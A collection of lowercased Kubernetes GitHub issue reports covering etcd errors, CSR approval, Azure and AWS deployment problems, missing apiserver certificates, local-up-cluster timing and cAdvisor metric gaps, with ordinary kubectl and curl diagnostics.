<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r new changes performed from the master respond with:\r error: etcdserver: mvcc: required revision has been compacted.\r \r existing calico pod can't be scheduled, we are trying to kill the pod to let it restart since other replica's do work as expected.\r \r   what you expected to happen  :\r pod should be deleted and restarted on the node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r simply give the kube-apiserver the delete command for this pod in the namespace kube-system\r \r   anything else we need to know?  :\r we have etcd clustered on virtual machines outside the cluster, this has always worked as expected.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.8.3\r - cloud provider or hardware configuration:\r vsphere virtual machines\r - os  e.g. from /etc/os-release :\r centos 7.4\r - kernel  e.g.  uname -a  :\r 4.13.12-1.el7.elrepo.x86_64\r - install tools:\r kubeadm\r - others:\r etcd version 3.2.7-1

failing job\r  sig-release-master-blocking: aws  https://k8s-testgrid.appspot.com/sig-release-master-blocking aws \r \r    failing test\r  up  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws/26962 \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-kops-aws&test=up\r \r synced offline and this is due to a known leak issue  fix being deployed , where we are running out of vpcs.\r \r  / /  /milestone 1.11\r @kubernetes/sig-testing-bugs \r \r cc @timothysc @justinsb \r \r /assign @justinsb

view node status：kubectl get csr\r    \r  root@kube1 ~   kubectl get csr\r name                                                   age    requestor                 condition\r node-csr--jjf_srcktdhoqaoyb4feaa06juwv32d1rfwzcbbe0c   150m   system:bootstrap:gn5vla   pending\r node-csr-kmktdlpqhj52yxzfs8veoiqmt1nxvecyvmvujahxhwg   150m   system:bootstrap:xay6t6   pending\r node-csr-bv18th4pk-xq7ekwv0iuzd4ccbuvkjjdonbjpkqhupq   150m   system:bootstrap:v1g4p2   pending\r    \r perform a refusal：\r  kubectl get csr | grep pending| awk '{print $1}' | xargs kubectl certificate deny \r view node status again：kubectl get csr\r    \r  root@kube1 ~   kubectl get csr\r name                                                   age    requestor                 condition\r node-csr--jjf_srcktdhoqaoyb4feaa06juwv32d1rfwzcbbe0c   150m   system:bootstrap:gn5vla   denied\r node-csr-kmktdlpqhj52yxzfs8veoiqmt1nxvecyvmvujahxhwg   150m   system:bootstrap:xay6t6   denied\r node-csr-bv18th4pk-xq7ekwv0iuzd4ccbuvkjjdonbjpkqhupq   150m   system:bootstrap:v1g4p2   denied\r    \r now i want to change the denied state to the approved state.\r  kubectl get csr | grep denied| awk '{print $1}' | xargs kubectl certificate approve \r \r no matter how many times it is executed, the status is still denied.\r    \r  root@kube1 ~   kubectl get csr\r name                                                   age    requestor                 condition\r node-csr--jjf_srcktdhoqaoyb4feaa06juwv32d1rfwzcbbe0c   150m   system:bootstrap:gn5vla   denied\r node-csr-kmktdlpqhj52yxzfs8veoiqmt1nxvecyvmvujahxhwg   150m   system:bootstrap:xay6t6   denied\r node-csr-bv18th4pk-xq7ekwv0iuzd4ccbuvkjjdonbjpkqhupq   150m   system:bootstrap:v1g4p2   denied\r    \r \r i want to ask how can i change the denied status to approved.\r thank you！\r \r os：centos7.5\r  root@kube1 ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-beta.2\ , gitcommit:\ 0cafd04160ff4e5c16bb38d0e4ecae805c84d41c\ , gittreestate:\ clean\ , builddate:\ 2018-09-11t23:02:06z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-beta.2\ , gitcommit:\ 0cafd04160ff4e5c16bb38d0e4ecae805c84d41c\ , gittreestate:\ clean\ , builddate:\ 2018-09-11t22:52:11z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r <!-- do not edit below this line -->\r /triage support\r \r kubernetes version: 1.12.1\r kube-addon-manager: k8s.gcr.io/kube-addon-manager-amd64:v8.7\r kube-apiserver: k8s.gcr.io/hyperkube-amd64:v1.12.1\r \r - lock down insecure port on api server set --insecure-port to 0\r \r - kubectl logs kube-addon-manager  -n kube-system. you see an error \r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r wrn: == error getting default service account, retry in 0.5 second ==\r \r   root cause:   kubectl is communication over default port 8080\r   solution  : put config in .kube  it works \r   problem:   i ended up creating my own image. currently is there any way or work in progress to support kube-addon-manager to use kube config to communicate with api server ?\r \r

basically i try to deploy to azure but it fails epically all the time. it first complains about a storage account but the storage account doesnt exist.  error: the storage account '6467741c7b0626' was not found.   <<< async stack >>>   at deleteaccount  /home/azureuser/kubernetes/docs/getting-started-guides/coreos/azure/node_modules/azure-cli/lib/commands/storage/storage.account._js:195:56    at storageaccount_deletecommand__5  /home/azureuser/kubernetes/docs/getting-started-guides/coreos/azure/node_modules/azure-cli/lib/commands/storage/storage.account._js:472:5    <<< raw stack >>>     at function.serviceclient._normalizeerror  /home/azureuser/kubernetes/docs/getting-started-guides/coreos/azure/node_modules/azure-cli/node_modules/azure-common/lib/services/serviceclient.js:815:23      at /home/azureuser/kubernetes/docs/getting-started-guides/coreos/azure/node_modules/azure-cli/node_modules/azure-common/lib/services/filters/errorhandlingfilter.js:44:29     at request._callback  /home/azureuser/kubernetes/docs/getting-started-guides/coreos/azure/node_modules/azure-cli/node_modules/azure-common/lib/http/request-pipeline.js:109:14      at request.self.callback  /home/azureuser/kubernetes/docs/getting-started-guides/coreos/azure/node_modules/azure-cli/node_modules/azure-common/node_modules/request/request.js:199:22      at request.eventemitter.emit  events.js:98:17      at request.<anonymous>  /home/azureuser/kubernetes/docs/getting-started-guides/coreos/azure/node_modules/azure-cli/node_modules/azure-common/node_modules/request/request.js:1160:14      at request.eventemitter.emit  events.js:117:20      at incomingmessage.<anonymous>  /home/azureuser/kubernetes/docs/getting-started-guides/coreos/azure/node_modules/azure-cli/node_modules/azure-common/node_modules/request/request.js:1111:12      at incomingmessage.eventemitter.emit  events.js:117:20      at _stream_readable.js:920:16  ---after this i destroy the deployment and try again and then it says that a network with the name undefined already exist. basically on the first run it creates the network but fails to deploy the storage account and when i delete the network it says that it still cant locate the storage account.

spinning up all the automation for a new repo should be as simple as  helm install kubernetes-github-automation  --values=\ new/repo\    cc @foxish

in the latest version of source-to-image we had to bump the docker engine-api to resolve a bug,\r see this: https://github.com/openshift/source-to-image/pull/612 discussion_r83702785\r wanted to kick the conversation about bumping it here so we can bump it in origin. i already looked into it and it seems that the docker team also broke api compatibility by removing some fields from the types.go so now, cadvsior needs to be bumped to solve that  and who knows what else . not to mention that they also deprecated the docker engine-api altogether. \r \r @mfojtik @kargakis what do you guys think? \r cc: @bparees @smarterclayton

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-staging-parallel/2726/  failed:  k8s.io  services should preserve source pod ip for traffic thru service cluster ip {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 nov 18 07:21:45.632: couldn't delete ns: \ e2e-tests-services-a8rv7\ : an error on the server  \ internal server error: \\\ /apis/extensions/v1beta1/namespaces/e2e-tests-services-a8rv7/replicationcontrollers\\\ \   has prevented the request from succeeding  get replicationcontrollers.extensions   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /apis/extensions/v1beta1/namespaces/e2e-tests-services-a8rv7/replicationcontrollers\\\\\\\ \\\   has prevented the request from succeeding  get replicationcontrollers.extensions \ , reason:\ internalerror\ , details:  unversioned.statusdetails  0xc820775680 , code:500}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338       previous issues for this test:  31085  34207

dear sirs/madams,\r \r i found problem with setup kubernetes 1.6 + openstack.\r \r after setup kubernetes api can't start because use undefined certificate:\r \r file: /var/log/kube-apiserver.log\r  f0131 16:12:36.513227       5 master.go:273  error building core storage: open /srv/kubernetes/kubeapiserver.cert: no such file or directory \r \r kubernetes api use path to cert /srv/kubernetes/kubeapiserver.cert, but this file is not found:\r \r file: /srv/salt/kube-apiserver/kube-apiserver.manifest\r    \r {% set cert_file = \ --tls-cert-file=/srv/kubernetes/server.cert\  -%}\r {% set key_file = \ --tls-private-key-file=/srv/kubernetes/server.key\  -%}\r {% set kubelet_cert_file = \ --kubelet-client-certificate=/srv/kubernetes/kubeapiserver.cert\  -%}\r {% set kubelet_key_file = \ --kubelet-client-key=/srv/kubernetes/kubeapiserver.key\  -%}\r    \r \r this file is not generated:\r    \r   ls /srv/kubernetes/kubeapiserver.cert\r ls: cannot access /srv/kubernetes/kubeapiserver.cert: no such file or directory\r    \r \r salt generated only server.cert and server.key files\r \r file: /srv/salt/generate-cert/init.sls\r    \r kubernetes-cert:\r   cmd.script:\r     - unless: test -f /srv/kubernetes/server.cert\r     - source: salt://generate-cert/{{certgen}}\r {% if cert_ip is defined %}\r     - args: {{cert_ip}} {{master_extra_sans}}\r     - require:\r       - pkg: curl\r {% endif %}\r     - cwd: /\r     - user: root\r     - group: root\r     - shell: /bin/bash\r     - require:\r       - pkg: openssl\r    \r \r what is the best solution? user server.cert and server.key in kubernetes api or add config for generate kubernetes api cert in /srv/salt/generate-cert/init.sls?\r \r thank you.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : local-up-cluster.sh \r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r $ kubectl.sh version\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.827+2d023ab085c43b-dirty\ , gitcommit:\ 2d023ab085c43b36ecbe56b250f00e7e70357fa5\ , gittreestate:\ dirty\ , builddate:\ 2017-06-19t16:44:31z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.827+2d023ab085c43b-dirty\ , gitcommit:\ 2d023ab085c43b36ecbe56b250f00e7e70357fa5\ , gittreestate:\ dirty\ , builddate:\ 2017-06-19t16:44:31z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : kvm\r -   os    e.g. from /etc/os-release : fedora 25\r -   kernel    e.g.  uname -a  : uname -a\r linux k8sbuild-master 4.11.3-200.fc25.x86_64  1 smp thu may 25 19:03:07 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r local-up-cluster.sh fails to create kube-dns and storageclass.\r    \r waiting for apiserver to come up\r +++  0619 12:46:33  on try 5, apiserver: : \u0015\u0003\u0001\u0002\u0002\r cluster \ local-up-cluster\  set.\r use 'kubectl --kubeconfig=/var/run/kubernetes/admin-kube-aggregator.kubeconfig' to use the aggregated api server\r creating kube-system namespace\r clusterrolebinding \ system:kube-dns\  created\r serviceaccount \ kube-dns\  created\r configmap \ kube-dns\  created\r error: unable to recognize \ kubedns-deployment.yaml\ : no matches for extensions/, kind=deployment\r service \ kube-dns\  created\r kube-dns deployment and service successfully deployed.\r kubelet   14184   is running.\r create default storage class for \r error: unable to recognize \ /opt/kubernetes/cluster/addons/storage-class/local/default.yaml\ : no matches for storage.k8s.io/, kind=storageclass\r local kubernetes cluster is running. press ctrl-c to shut it down.\r    \r \r   what you expected to happen  :\r local-up-cluster.sh is successfully executed.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1  clone kubernetes from master branch\r 2  run local-up-cluster.sh\r     $ export enable_hostpath_provisioner=\ true\ ; ./hack/local-up-cluster.sh\r \r if you already have kubernetes , try this\r 1  make clean_meta\r 2  run local-up-cluster.sh\r     $ export enable_hostpath_provisioner=\ true\ ; ./hack/local-up-cluster.sh\r \r   anything else we need to know  :\r i think this problem is timing issue because sleeping 3 seconds before start_kubedns can avoid this problem.\r \r    \r --- a/hack/local-up-cluster.sh\r +++ b/hack/local-up-cluster.sh\r @@ -883,6 +883,7 @@ if    \ ${start_mode}\  != \ kubeletonly\    ; then\r    start_apiserver\r    start_controller_manager\r    start_kubeproxy\r +  sleep 3\r    start_kubedns\r    start_kubedashboard\r  fi\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r prometheus graphs with metrics coming from cadvisor are full of holes. graphs with metrics coming from prometheus node exporter are fine.\r \r ! graph  https://a.safe.moe/xoswv.png \r \r   what you expected to happen  :\r \r cadvisor should return all metrics, all the time.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r xxxxxxxxxxxxxxxxx@k8s-master-57301243-0:~$ for host in k8s-master-57301243-1; do echo $host $ sudo curl -s --cert /etc/kubernetes/certs/client.crt --key /etc/kubernetes/certs/client.key https://10.100.195.134/api/v1/nodes/$host:10250/proxy/metrics/cadvisor -k | grep container_memory_usage > /tmp/81.metrics; wc -l < /tmp/81.metrics ; done\r k8s-master-57301243-1 81\r xxxxxxxxxxxxxxxxx@k8s-master-57301243-0:~$ for host in k8s-master-57301243-1; do echo $host $ sudo curl -s --cert /etc/kubernetes/certs/client.crt --key /etc/kubernetes/certs/client.key https://10.100.195.134/api/v1/nodes/$host:10250/proxy/metrics/cadvisor -k | grep container_memory_usage > /tmp/14.metrics; wc -l < /tmp/14.metrics ; done\r k8s-master-57301243-1 14\r    \r here the diff between the time it returned 81 container_memory_usage metrics and 14:\r \r    diff\r --- /tmp/14.metrics     2017-08-04 13:32:35.725206519 +0000\r +++ /tmp/81.metrics     2017-08-04 13:32:13.096959702 +0000\r @@ -1,14 +1,81 @@\r    help container_memory_usage_bytes current memory usage in bytes.\r    type container_memory_usage_bytes gauge\r -container_memory_usage_bytes{container_name=\ pod\ ,id=\ /kubepods/besteffort/pod8795b3a7e776a594223979e13eef2e88/c6c488ab9ff65a70ec09cb6863bb9b457d3058267477902895ac4614b63d3115\ ,image=\ gcrio.azureedge.net/google_containers/pause-amd64:3.0\ ,name=\ k8s_pod_kube-scheduler-k8s-master-57301243-1_kube-system_8795b3a7e776a594223979e13eef2e88_0\ ,namespace=\ kube-system\ ,pod_name=\ kube-scheduler-k8s-master-57301243-1\ } 45056\r -container_memory_usage_bytes{container_name=\ pod\ ,id=\ /kubepods/besteffort/pod9cac86a70f5247eba673f5b320242001/a6b681e9e0327f2514292a88af35723716c7019bbb02a8722579ee7ebb1fb209\ ,image=\ gcrio.azureedge.net/google_containers/pause-amd64:3.0\ ,name=\ k8s_pod_kube-apiserver-k8s-master-57301243-1_kube-system_9cac86a70f5247eba673f5b320242001_0\ ,namespace=\ kube-system\ ,pod_name=\ kube-apiserver-k8s-master-57301243-1\ } 45056\r -container_memory_usage_bytes{container_name=\ pod\ ,id=\ /kubepods/besteffort/podbbfcdaa8a688164a1e011c34d2a7d623/bb451901ed0b557e0716437155d68a3ed7f85aac23571d8862f99e0835720661\ ,image=\ gcrio.azureedge.net/google_containers/pause-amd64:3.0\ ,name=\ k8s_pod_kube-controller-manager-k8s-master-57301243-1_kube-system_bbfcdaa8a688164a1e011c34d2a7d623_0\ ,namespace=\ kube-system\ ,pod_name=\ kube-controller-manager-k8s-master-57301243-1\ } 45056\r -container_memory_usage_bytes{container_name=\ pod\ ,id=\ /kubepods/besteffort/podbd63d1b9-77bc-11e7-af11-000d3a2796a0/2fa07c4c49c5d007a79e0bf63ecdf4043bb9b600a301fd16617763c26c4bc274\ ,image=\ gcrio.azureedge.net/google_containers/pause-amd64:3.0\ ,name=\ k8s_pod_eponymous-quoll-prometheus-node-exporter-4tl88_monitoring_bd63d1b9-77bc-11e7-af11-000d3a2796a0_3\ ,namespace=\ monitoring\ ,pod_name=\ eponymous-quoll-prometheus-node-exporter-4tl88\ } 45056\r -container_memory_usage_bytes{container_name=\ pod\ ,id=\ /kubepods/burstable/pod174228d3019e68781e2930c154defaaf/50d497faebfafe4aed968039d80cd0675e92ad455000f85c2d851022185cea2b\ ,image=\ gcrio.azureedge.net/google_containers/pause-amd64:3.0\ ,name=\ k8s_pod_kube-addon-manager-k8s-master-57301243-1_kube-system_174228d3019e68781e2930c154defaaf_4\ ,namespace=\ kube-system\ ,pod_name=\ kube-addon-manager-k8s-master-57301243-1\ } 782336\r -container_memory_usage_bytes{container_name=\ pod\ ,id=\ /kubepods/burstable/pod7043e026-7913-11e7-8f07-000d3a279b3c/fd69618f96c71e565c08bce09a35f82aa9ea6538d9c2b51814817910b99b363a\ ,image=\ gcrio.azureedge.net/google_containers/pause-amd64:3.0\ ,name=\ k8s_pod_kube-proxy-5t65s_kube-system_7043e026-7913-11e7-8f07-000d3a279b3c_1\ ,namespace=\ kube-system\ ,pod_name=\ kube-proxy-5t65s\ } 45056\r -container_memory_usage_bytes{container_name=\ kube-addon-manager\ ,id=\ /kubepods/burstable/pod174228d3019e68781e2930c154defaaf/37304043eece2e1af061092cac4f0a6330786a15b0f17e72a3dc826f44d6de30\ ,image=\ gcrio.azureedge.net/google_containers/kube-addon-manager-amd64@sha256:3abd24c27ceb88cf9eec0f8817c269fde5cf6291e212bfdfd91fc05ecd54dbc5\ ,name=\ k8s_kube-addon-manager_kube-addon-manager-k8s-master-57301243-1_kube-system_174228d3019e68781e2930c154defaaf_4\ ,namespace=\ kube-system\ ,pod_name=\ kube-addon-manager-k8s-master-57301243-1\ } 3.7711872e+07\r -container_memory_usage_bytes{container_name=\ kube-apiserver\ ,id=\ /kubepods/besteffort/pod9cac86a70f5247eba673f5b320242001/e6ac10065786283bff6172e342b14d6a44fbd7791abff84f7355be8e08b1931c\ ,image=\ sylvainlectra/hyperkube-amd64@sha256:960a0afa49d3fab29669edf0627979ca6bcad136e81d9574b9583462e31965eb\ ,name=\ k8s_kube-apiserver_kube-apiserver-k8s-master-57301243-1_kube-system_9cac86a70f5247eba673f5b320242001_0\ ,namespace=\ kube-system\ ,pod_name=\ kube-apiserver-k8s-master-57301243-1\ } 2.56782336e+08\r -container_memory_usage_bytes{container_name=\ kube-controller-manager\ ,id=\ /kubepods/besteffort/podbbfcdaa8a688164a1e011c34d2a7d623/162c8fb19ad225056a816052c99540495cc314061ca25b4fe0ba23aef354a42e\ ,image=\ sylvainlectra/hyperkube-amd64@sha256:960a0afa49d3fab29669edf0627979ca6bcad136e81d9574b9583462e31965eb\ ,name=\ k8s_kube-controller-manager_kube-controller-manager-k8s-master-57301243-1_kube-system_bbfcdaa8a688164a1e011c34d2a7d623_0\ ,namespace=\ kube-system\ ,pod_name=\ kube-controller-manager-k8s-master-57301243-1\ } 1.5454208e+07\r -container_memory_usage_bytes{container_name=\ kube-proxy\ ,id=\ /kubepods/burstable/pod7043e026-7913-11e7-8f07-000d3a279b3c/13fff720c118496802e8d1f93e176d186eb09275d9f65847f4ca7588b405cc14\ ,image=\ sylvainlectra/hyperkube-amd64@sha256:960a0afa49d3fab29669edf0627979ca6bcad136e81d9574b9583462e31965eb\ ,name=\ k8s_kube-proxy_kube-proxy-5t65s_kube-system_7043e026-7913-11e7-8f07-000d3a279b3c_1\ ,namespace=\ kube-system\ ,pod_name=\ kube-proxy-5t65s\ } 1.7186816e+07\r -container_memory_usage_bytes{container_name=\ kube-scheduler\ ,id=\ /kubepods/besteffort/pod8795b3a7e776a594223979e13eef2e88/e344f938114af34d4d5eef31cba27d6c9d8cc25474592f3352ce6c5a7051757c\ ,image=\ sylvainlectra/hyperkube-amd64@sha256:960a0afa49d3fab29669edf0627979ca6bcad136e81d9574b9583462e31965eb\ ,name=\ k8s_kube-scheduler_kube-scheduler-k8s-master-57301243-1_kube-system_8795b3a7e776a594223979e13eef2e88_0\ ,namespace=\ kube-system\ ,pod_name=\ kube-scheduler-k8s-master-57301243-1\ } 1.9832832e+07\r -container_memory_usage_bytes{container_name=\ prometheus-node-exporter\ ,id=\ /kubepods/besteffort/podbd63d1b9-77bc-11e7-af11-000d3a2796a0/5377b820efca9d381d27fb15762e5d76b9d41b2b1552212e1971705d72317a7a\ ,image=\ prom/node-exporter@sha256:ea8396dd32be6195ef03438b2f459b2e69a88b8fc798c3fc51559f56d4b158fa\ ,name=\ k8s_prometheus-node-exporter_eponymous-quoll-prometheus-node-exporter-4tl88_monitoring_bd63d1b9-77bc-11e7-af11-000d3a2796a0_3\ ,namespace=\ monitoring\ ,pod_name=\ eponymous-quoll-prometheus-node-exporter-4tl88\ } 1.9038208e+07\r +container_memory_usage_bytes{id=\ /\ } 1.527226368e+09\r +container_memory_usage_bytes{id=\ /docker\ } 1.58896128e+08\r +container_memory_usage_bytes{id=\ /init.scope\ } 2.039808e+06\r +container_memory_usage_bytes{id=\ /kubepods\ } 3.67013888e+08\r +container_memory_usage_bytes{id=\ /kubepods/besteffort\ } 3.1092736e+08\r +container_memory_usage_bytes{id=\ /kubepods/besteffort/pod8795b3a7e776a594223979e13eef2e88\ } 1.9877888e+07\r +container_memory_usage_bytes{id=\ /kubepods/besteffort/pod9cac86a70f5247eba673f5b320242001\ } 2.5645056e+08\r +container_memory_usage_bytes{id=\ /kubepods/besteffort/podbbfcdaa8a688164a1e011c34d2a7d623\ } 1.5499264e+07\r +container_memory_usage_bytes{id=\ /kubepods/besteffort/podbd63d1b9-77bc-11e7-af11-000d3a2796a0\ } 1.9083264e+07\r +container_memory_usage_bytes{id=\ /kubepods/burstable\ } 5.5808e+07\r +container_memory_usage_bytes{id=\ /kubepods/burstable/pod174228d3019e68781e2930c154defaaf\ } 3.8498304e+07\r +container_memory_usage_bytes{id=\ /kubepods/burstable/pod7043e026-7913-11e7-8f07-000d3a279b3c\ } 1.7231872e+07\r +container_memory_usage_bytes{id=\ /kubepods/burstable/pod7043e026-7913-11e7-8f07-000d3a279b3c/13fff720c118496802e8d1f93e176d186eb09275d9f65847f4ca7588b405cc14/kube-proxy\ } 6.455296e+06\r +container_memory_usage_bytes{id=\ /system.slice\ } 8.16472064e+08\r +container_memory_usage_bytes{id=\ /system.slice/accounts-daemon.service\ } 1.970176e+06\r +container_memory_usage_bytes{id=\ /system.slice/acpid.service\ } 204800\r +container_memory_usage_bytes{id=\ /system.slice/apparmor.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/apport.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/atd.service\ } 204800\r +container_memory_usage_bytes{id=\ /system.slice/cgroupfs-mount.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/cloud-config.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/cloud-final.service\ } 208896\r +container_memory_usage_bytes{id=\ /system.slice/cloud-init-local.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/cloud-init.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/console-setup.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/cron.service\ } 475136\r +container_memory_usage_bytes{id=\ /system.slice/dbus.service\ } 1.232896e+06\r +container_memory_usage_bytes{id=\ /system.slice/docker.service\ } 1.52621056e+08\r +container_memory_usage_bytes{id=\ /system.slice/ebtables.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/ephemeral-disk-warning.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/etcd.service\ } 2.18857472e+08\r +container_memory_usage_bytes{id=\ /system.slice/grub-common.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/hv-kvp-daemon.service\ } 241664\r +container_memory_usage_bytes{id=\ /system.slice/hv-vss-daemon.service\ } 122880\r +container_memory_usage_bytes{id=\ /system.slice/ifup@eth0.service\ } 3.284992e+06\r +container_memory_usage_bytes{id=\ /system.slice/irqbalance.service\ } 335872\r +container_memory_usage_bytes{id=\ /system.slice/iscsid.service\ } 2.179072e+06\r +container_memory_usage_bytes{id=\ /system.slice/keyboard-setup.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/kmod-static-nodes.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/kubelet.service\ } 7.63904e+06\r +container_memory_usage_bytes{id=\ /system.slice/lvm2-lvmetad.service\ } 274432\r +container_memory_usage_bytes{id=\ /system.slice/lvm2-monitor.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/lxcfs.service\ } 663552\r +container_memory_usage_bytes{id=\ /system.slice/lxd-containers.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/mdadm.service\ } 655360\r +container_memory_usage_bytes{id=\ /system.slice/networking.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/omid.service\ } 1.83087104e+08\r +container_memory_usage_bytes{id=\ /system.slice/omsagent-244463e4-379e-4934-b2f7-5bc6fff4984b.service\ } 7.8856192e+07\r +container_memory_usage_bytes{id=\ /system.slice/ondemand.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/open-iscsi.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/polkitd.service\ } 884736\r +container_memory_usage_bytes{id=\ /system.slice/rc-local.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/resolvconf.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/rsyslog.service\ } 2.359296e+06\r +container_memory_usage_bytes{id=\ /system.slice/setvtrgb.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/snapd.service\ } 2.9167616e+07\r +container_memory_usage_bytes{id=\ /system.slice/ssh.service\ } 2.584576e+06\r +container_memory_usage_bytes{id=\ /system.slice/system-getty.slice\ } 299008\r +container_memory_usage_bytes{id=\ /system.slice/system-serial\\\\x2dgetty.slice\ } 118784\r +container_memory_usage_bytes{id=\ /system.slice/system-systemd\\\\x2dfsck.slice\ } 937984\r +container_memory_usage_bytes{id=\ /system.slice/systemd-journal-flush.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/systemd-journald.service\ } 1.2877824e+07\r +container_memory_usage_bytes{id=\ /system.slice/systemd-logind.service\ } 925696\r +container_memory_usage_bytes{id=\ /system.slice/systemd-modules-load.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/systemd-random-seed.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/systemd-remount-fs.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/systemd-sysctl.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/systemd-timesyncd.service\ } 569344\r +container_memory_usage_bytes{id=\ /system.slice/systemd-tmpfiles-setup-dev.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/systemd-tmpfiles-setup.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/systemd-udev-trigger.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/systemd-udevd.service\ } 2.2052864e+07\r +container_memory_usage_bytes{id=\ /system.slice/systemd-update-utmp.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/systemd-user-sessions.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/ufw.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/unattended-upgrades.service\ } 0\r +container_memory_usage_bytes{id=\ /system.slice/unscd.service\ } 253952\r +container_memory_usage_bytes{id=\ /system.slice/walinuxagent.service\ } 3.6429824e+07\r +container_memory_usage_bytes{id=\ /user.slice\ } 1.069056e+06\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3\r - cloud provider or hardware configuration  : azure\r - os  e.g. from /etc/os-release : 16.04.3 lts  xenial xerus \r - kernel  e.g.  uname -a  : linux k8s-master-57301243-0 4.4.0-89-generic  112-ubuntu smp mon jul 31 19:38:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: acs-engine\r - others:\r

is this a bug report or feature request?  :\r \r  \r   description  :\r \r in daemonset,  nodeconditionpredicates  should return  nodeoutofdisk  after moved node condition check into a predicates.

 \r i want to be able to create loadbalancer services and use aws's  network load balancer  https://aws.amazon.com/blogs/aws/new-network-load-balancer-effortless-scaling-to-millions-of-requests-per-second/ \r \r going along with how aws lb's are currently configured, it would be most convenient to have an annotation to specify an nlb. \r \r   environment  :\r \r - cloud provider: aws\r

